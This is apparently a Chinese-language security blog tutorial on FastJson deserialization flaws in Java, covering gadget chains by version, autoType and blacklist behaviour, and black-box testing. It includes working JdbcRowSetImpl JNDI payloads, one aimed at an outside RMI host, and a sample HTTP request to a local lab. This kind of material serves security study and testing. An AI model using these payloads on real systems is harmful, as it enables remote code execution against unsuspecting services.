JAVA攻防-FastJson专题&各版本Gadget链&autoType开关&黑名单&依赖包&本地代码

Ethan医生5个月前WEB安全152

#FastJson反序列化各版本利用链分析

参考文章:https://xz.aliyun.com/news/14309

参考文章:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>x.x.xx</version>

</dependency>

 

应用知识:

1、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

2、反序列化方法:

JSON.parseObject(),返回JsonObject

JSON.parse(),返回Object

JSON.parseArray(), 返回JSONArray

将JSON对象转换为java对象:JSON.toJavaObject()

将JSON对象写入write流:JSON.writeJSONString()

3、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

 

使用引出安全:

1、序列化固定类后:

parse方法在调用时会调用set方法

parseObject在调用时会调用set和get方法

2、反序列化指定类后:

parseObject在调用时会调用set方法

 

安全利用链:

JDK自带链-JdbcRowSetImpl

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

String payload = "{" +

"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +

"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +

"\"autoCommit\":true" +

"}";

JSON.parse(payload);

 

 

版本24Payload解析:

1、反序列化对象:com.sun.rowset.JdbcRowSetImpl

2、改动的成员变量:dataSourceName autoCommit

3、setdataSourceName->getdataSourceName

4、setautoCommit->connect->

InitialContext.lookup(getDataSourceName());

 

测试:1.2.24 1.2.47 1.2.62 1.2.80等版本差异

总结:

*1.2.47<=可利用JDK自带链实现RCE

*1.2.47-1.2.80中利用链为依赖包或本地代码

其中依赖包还需要开启autoType,本地代码无需(黑盒不适用

*1.2.80后续版本目前无

 

黑盒测试思路点:

能不能测试核心:

1、符合java应用 有json数据传递 或者报错显示用到fastjson类

2、传递的数据不管加密或无密能识别出json格式 直接poc替换测试

POST /home/fastjson HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cache-Control: no-cache

Connection: keep-alive

Content-Length: 112

Content-Type: application/json

Cookie: java-chains-token-key=admin_token; JSESSIONID=22BE2078F5D60DE4851FE00D9610CB51

Host: 127.0.0.1:8000

Origin: http://127.0.0.1:8000

Pragma: no-cache

Referer: http://127.0.0.1:8000/fastjson

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0

X-Requested-With: XMLHttpRequest

sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Microsoft Edge";v="134"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

 

 

明文 加密(整体或部分) 编码 (加解密的分析 js逆向)

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

 

 

满足于fastjson漏洞测试(黑盒)


相关文章

Web攻防-访问控制篇&水平越权&垂直越权&未授权访问&级别架构&项目插件&SRC复盘

1、水平越权:同级别的用户之间权限的跨越2、垂直越权:低级别用户到高级别用户权限的跨越3、未授权访问:通过无级别用户能访问到需验证应用 实验:https://portswigger.net/...

JAVA攻防-反序列化利用&JNDI注入&高版本绕过&依赖Jar包&gadge包链&自动Bypass

JAVA攻防-反序列化利用&JNDI注入&高版本绕过&依赖Jar包&gadge包链&自动Bypass

➢ Java攻防-JNDI注入-高版本的绕过Bypass#高版本JNDI绕过技术参考:https://tttang.com/archive/1405/RMI限制:com.sun.jndi.r...

XSS跨站&Cookie盗取&数据包提交&网络钓鱼&BEEF项目&XSS平台&危害利用

#XSS跨站-输入输出-原理&分类&利用点漏洞原理:接受输入数据,输出显示数据后解析执行基础类型:反射(非持续),存储(持续),DOM-BASE拓展类型:jquery,mxss,uxs...

XSS跨站&浏览器UXSS&突变MXSS&Vue&React框架&JQuery库&写法和版本

分类:1、框架或三方库的XSS2、浏览器或插件的XSS3、客户端预览内核的XSS说明:使用框架开发的或第三方库引用操作的,默认安全写法会自带过滤,所以测试此类的应用需存在漏洞版本或不安全写法导致XSS...

Web攻防-身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JWU&KID&算法替换

Web攻防-身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JWU&KID&算法替换

#JWTJSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身...

Web攻防&身份验证篇&OAuth认证&授权分类及参数&重定向接管&State缺陷&Scope篡改

#解释OAuth:一种常用的授权框架,它允许网站和Web应用程序请求对另一个应用程序上的用户帐户的有限访问权限,像那种允许使用第三方账号(QQ、微信等)登录的网站,可能就是使用的OAuth框架。&nb...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。